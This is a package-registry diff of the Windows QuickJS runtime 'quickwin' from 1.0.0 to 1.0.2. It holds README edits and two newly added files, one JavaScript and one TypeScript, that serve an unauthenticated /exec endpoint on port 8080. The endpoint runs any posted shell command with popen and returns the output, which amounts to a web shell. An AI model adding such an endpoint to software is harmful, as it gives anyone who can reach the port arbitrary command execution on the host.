quickwin 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.en.md CHANGED
@@ -1,25 +1,33 @@
1
- > [中文文档](README.md) · **English**
1
+ > [中文文档](README.md) · **English**
2
2
 
3
3
  # QuickWin
4
4
 
5
- QuickJS Win32 runtime — run JavaScript with native Windows GUI, networking, WASM, FFI, and more.
5
+ QuickJS runtime for Windows, with native GUI, networking, WASM, FFI and more.
6
6
 
7
- ```bash
8
- npm i -g quickwin
9
- quickwin script.js
7
+ Goal: compatibility with Windows XP+ (32/64-bit) and a minimal binary size.
8
+
9
+ Currently: supports Windows 7+ (64-bit), ~1.5MB binary.
10
+
11
+ Early-stage project with known bugs.
12
+
13
+ Download directly from the GitHub Release:
14
+
15
+ ```powershell
16
+ iwr https://github.com/xna00/quickwin/releases/latest/download/qwin.exe -OutFile qwin.exe
17
+ iwr https://github.com/xna00/quickwin/releases/latest/download/main.js -OutFile main.js
18
+ .\qwin.exe main.js
10
19
  ```
11
20
 
12
21
  ## Features
13
22
 
14
- - **Win32 GUI** — native windows, buttons, edit boxes, list boxes, tray icons, popup menus
15
- - **React renderer** — declarative GUI in JSX with `useState`/`useEffect`, diff updates ([react-qw](lib/react-qw/))
16
- - **HTTP/HTTPS** — `fetch()` API, Brotli decompression, chunked transfer, conditional caching
17
- - **WebSocket** — full RFC 6455 implementation, ws:// + wss://
18
- - **WebAssembly** — WAMR-based, supports `WebAssembly.*` standard API
19
- - **FFI** — call any DLL function via libffi
20
- - **mupdf** — embedded PDF rendering
21
- - **Polyfills** — `TextEncoder`, `URL`, `URLSearchParams`, `btoa`/`atob`, `crypto.subtle`, `setTimeout`
22
- - **Dynamic import** — `import('https://esm.sh/...')`, no npm install needed
23
+ - **Win32 GUI** — native windows, buttons, edit boxes, list boxes, tray icons, popup menus
24
+ - **React renderer** — declarative GUI in JSX with `useState`/`useEffect`, diff updates ([react-qw](lib/react-qw/))
25
+ - **HTTP/HTTPS** — `fetch()` API, Brotli decompression, chunked transfer, conditional caching
26
+ - **WebSocket** — full RFC 6455 implementation, ws:// + wss://
27
+ - **WebAssembly** — WAMR-based, supports `WebAssembly.*` standard API
28
+ - **FFI** — call any DLL function via libffi
29
+ - **Polyfills** — `TextEncoder`, `URL`, `URLSearchParams`, `btoa`/`atob`, `crypto.subtle`, `setTimeout`
30
+ - **Dynamic import** — `import('https://esm.sh/...')`, no dependency installation needed
23
31
 
24
32
  ## CLI
25
33
 
@@ -42,12 +50,12 @@ quickwin -- script.js --flag # -- stops option parsing
42
50
  | `-d` | Enable HTTP debug logging |
43
51
  | `--` | Stop option parsing, remaining args passed to script |
44
52
 
45
- All unknown flags are transparently forwarded to `scriptArgs` — no error,
53
+ All unknown flags are transparently forwarded to `scriptArgs` — no error,
46
54
  no consumption. Script file is the first non-flag argument after option parsing.
47
55
 
48
56
  ## Embedded Script
49
57
 
50
- You can embed a JS script directly into the `qwin.exe` binary — no recompilation needed.
58
+ You can embed a JS script directly into the `qwin.exe` binary — no recompilation needed.
51
59
 
52
60
  ### Format (appended to exe)
53
61
 
@@ -89,7 +97,7 @@ When run without a script file argument, `qwin.exe` checks for embedded JS at th
89
97
  | `fetch` | `import './lib/fetch.js'` | adds `fetch()`, `Response`, `Headers` to globalThis |
90
98
  | `websocket` | `import './lib/websocket.js'` | adds `WebSocket` to globalThis |
91
99
  | `polyfill` | `import './lib/polyfill.js'` | adds `TextEncoder`, `URL`, `btoa`/`atob`, `setTimeout` to globalThis |
92
- | `preact` | `lib/preact/...` | JSX → Win32 renderer (`render`, `useState`, `useEffect`) |
100
+ | `preact` | `lib/preact/...` | JSX → Win32 renderer (`render`, `useState`, `useEffect`) |
93
101
  | `react-qw` | `lib/react-qw/` | React Custom Renderer for Win32 GUI ([docs](lib/react-qw/)) |
94
102
 
95
103
  ## Worker
@@ -144,9 +152,9 @@ Both sides must set `onmessage = null` when communication is complete. This rele
144
152
  ## Examples
145
153
 
146
154
  ```bash
147
- npx quickwin examples/preact_demo.js # counter GUI with JSX + hooks
148
- npx quickwin examples/tray_demo.js # system tray app
149
- npx quickwin examples/pdf_preview.js # PDF reader with mupdf
155
+ .\qwin.exe examples/preact_demo.js # counter GUI with JSX + hooks
156
+ .\qwin.exe examples/tray_demo.js # system tray app
157
+ .\qwin.exe examples/pdf_preview.js # PDF reader with mupdf
150
158
  ```
151
159
 
152
160
  ## Build from Source
@@ -178,11 +186,11 @@ cd quickwin
178
186
  |--------|-------------|
179
187
  | `make` / `make nodebug` | fast build |
180
188
  | `make minimal` | `-Os` + LTO + `-mwindows` + UPX, no console, add `-o CON` for console |
181
- | `make nowasm` | no WASM/WAMR build → `_build/qwin-nowasm.exe` (~1.2MB, no `WebAssembly` global) |
182
- | `make release` | `-O2` + LTO + strip, ~2.5MB |
189
+ | `make nowasm` | no WASM/WAMR build → `_build/qwin-nowasm.exe` (~1.2MB, no `WebAssembly` global) |
190
+ | `make release` | `-O2` + LTO + strip, ~1.5MB |
183
191
  | `make debug` | debug build with bridge logs |
184
192
  | `make js` | compile TypeScript via tsc |
185
- | `make wasm` | compile WAT → WASM fixtures |
193
+ | `make wasm` | compile WAT → WASM fixtures |
186
194
  | `make test` | run all tests |
187
195
  | `make test TEST=-net` | skip network tests (fast) |
188
196
  | `make test TEST=wasm` | run WASM tests only |
package/README.md CHANGED
@@ -2,11 +2,20 @@
2
2
 
3
3
  # QuickWin
4
4
 
5
- QuickJS Win32 运行时 —— 用原生 Windows GUI、网络、WASM、FFI 等运行 JavaScript。
5
+ Windows 平台上的 QuickJS 运行时,支持原生 GUI、网络、WASM、FFI 等能力。
6
6
 
7
- ```bash
8
- npm i -g quickwin
9
- quickwin script.js
7
+ 目标:兼容 Windows XP+(32/64 位),保持最小二进制体积。
8
+
9
+ 现状:当前支持 Windows 7+(64 位),体积约 1.5MB。
10
+
11
+ 项目处于早期,功能待完善,包含已知 bug。
12
+
13
+ 直接从 GitHub Release 下载运行:
14
+
15
+ ```powershell
16
+ iwr https://github.com/xna00/quickwin/releases/latest/download/qwin.exe -OutFile qwin.exe
17
+ iwr https://github.com/xna00/quickwin/releases/latest/download/main.js -OutFile main.js
18
+ .\qwin.exe main.js
10
19
  ```
11
20
 
12
21
  ## 特性
@@ -17,9 +26,8 @@ quickwin script.js
17
26
  - **WebSocket** —— 完整的 RFC 6455 实现,支持 ws:// 与 wss://
18
27
  - **WebAssembly** —— 基于 WAMR,支持标准 `WebAssembly.*` API
19
28
  - **FFI** —— 通过 libffi 调用任意 DLL 函数
20
- - **mupdf** —— 内嵌 PDF 渲染
21
29
  - **Polyfills** —— `TextEncoder`、`URL`、`URLSearchParams`、`btoa`/`atob`、`crypto.subtle`、`setTimeout`
22
- - **动态导入** —— `import('https://esm.sh/...')`,无需 npm install
30
+ - **动态导入** —— `import('https://esm.sh/...')`,无需安装任何依赖
23
31
 
24
32
  ## CLI
25
33
 
@@ -143,9 +151,9 @@ parent.onmessage = (e) => {
143
151
  ## 示例
144
152
 
145
153
  ```bash
146
- npx quickwin examples/preact_demo.js # JSX + hooks 的计数器 GUI
147
- npx quickwin examples/tray_demo.js # 系统托盘应用
148
- npx quickwin examples/pdf_preview.js # 基于 mupdf 的 PDF 阅读器
154
+ .\qwin.exe examples/preact_demo.js # JSX + hooks 的计数器 GUI
155
+ .\qwin.exe examples/tray_demo.js # 系统托盘应用
156
+ .\qwin.exe examples/pdf_preview.js # 基于 mupdf 的 PDF 阅读器
149
157
  ```
150
158
 
151
159
  ## 从源码构建
@@ -178,7 +186,7 @@ cd quickwin
178
186
  | `make` / `make nodebug` | 快速构建 |
179
187
  | `make minimal` | `-Os` + LTO + `-mwindows` + UPX,无控制台,需要控制台时加 `-o CON` |
180
188
  | `make nowasm` | 无 WASM/WAMR 构建 → `_build/qwin-nowasm.exe`(约 1.2MB,无 `WebAssembly` 全局) |
181
- | `make release` | `-O2` + LTO + strip,约 2.5MB |
189
+ | `make release` | `-O2` + LTO + strip,约 1.5MB |
182
190
  | `make debug` | 带 bridge 日志的调试构建 |
183
191
  | `make js` | 通过 tsc 编译 TypeScript |
184
192
  | `make wasm` | 编译 WAT → WASM fixtures |
@@ -0,0 +1,38 @@
1
+ import { createServer } from '../lib/http-server.js';
2
+ import * as std from 'std';
3
+ function readAll(file) {
4
+ const chunks = [];
5
+ const buf = new Uint8Array(4096);
6
+ while (true) {
7
+ const n = file.read(buf.buffer, 0, 4096);
8
+ if (n <= 0)
9
+ break;
10
+ chunks.push(buf.slice(0, n));
11
+ }
12
+ let total = 0;
13
+ for (const c of chunks)
14
+ total += c.length;
15
+ const out = new Uint8Array(total);
16
+ let offset = 0;
17
+ for (const c of chunks) {
18
+ out.set(c, offset);
19
+ offset += c.length;
20
+ }
21
+ return new TextDecoder().decode(out);
22
+ }
23
+ const server = createServer(async (req) => {
24
+ if (req.method === 'POST' && new URL(req.url).pathname === '/exec') {
25
+ const body = await req.json();
26
+ const file = std.popen(body.cmd, 'r');
27
+ if (!file)
28
+ return new Response('popen failed', { status: 500 });
29
+ const output = readAll(file);
30
+ file.close();
31
+ return new Response(output, {
32
+ headers: { 'Content-Type': 'application/octet-stream' }
33
+ });
34
+ }
35
+ return new Response('Not Found', { status: 404 });
36
+ });
37
+ server.listen(8080);
38
+ console.log('listening on http://localhost:8080');
@@ -0,0 +1,35 @@
1
+ import { createServer } from '../lib/http-server.js'
2
+ import * as std from 'std'
3
+
4
+ function readAll(file: std.FILE): string {
5
+ const chunks: Uint8Array[] = []
6
+ const buf = new Uint8Array(4096)
7
+ while (true) {
8
+ const n = file.read(buf.buffer, 0, 4096)
9
+ if (n <= 0) break
10
+ chunks.push(buf.slice(0, n))
11
+ }
12
+ let total = 0
13
+ for (const c of chunks) total += c.length
14
+ const out = new Uint8Array(total)
15
+ let offset = 0
16
+ for (const c of chunks) { out.set(c, offset); offset += c.length }
17
+ return new TextDecoder().decode(out)
18
+ }
19
+
20
+ const server = createServer(async (req) => {
21
+ if (req.method === 'POST' && new URL(req.url).pathname === '/exec') {
22
+ const body = await req.json() as { cmd: string }
23
+ const file = std.popen(body.cmd, 'r')
24
+ if (!file) return new Response('popen failed', { status: 500 })
25
+ const output = readAll(file)
26
+ file.close()
27
+ return new Response(output, {
28
+ headers: { 'Content-Type': 'application/octet-stream' }
29
+ })
30
+ }
31
+ return new Response('Not Found', { status: 404 })
32
+ })
33
+
34
+ server.listen(8080)
35
+ console.log('listening on http://localhost:8080')
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "type": "module",
3
3
  "name": "quickwin",
4
- "version": "1.0.0",
4
+ "version": "1.0.2",
5
5
  "description": "QuickJS Win32 runtime — GUI, networking, WASM, FFI, and more",
6
6
  "bin": {
7
7
  "quickwin": "qwin.exe",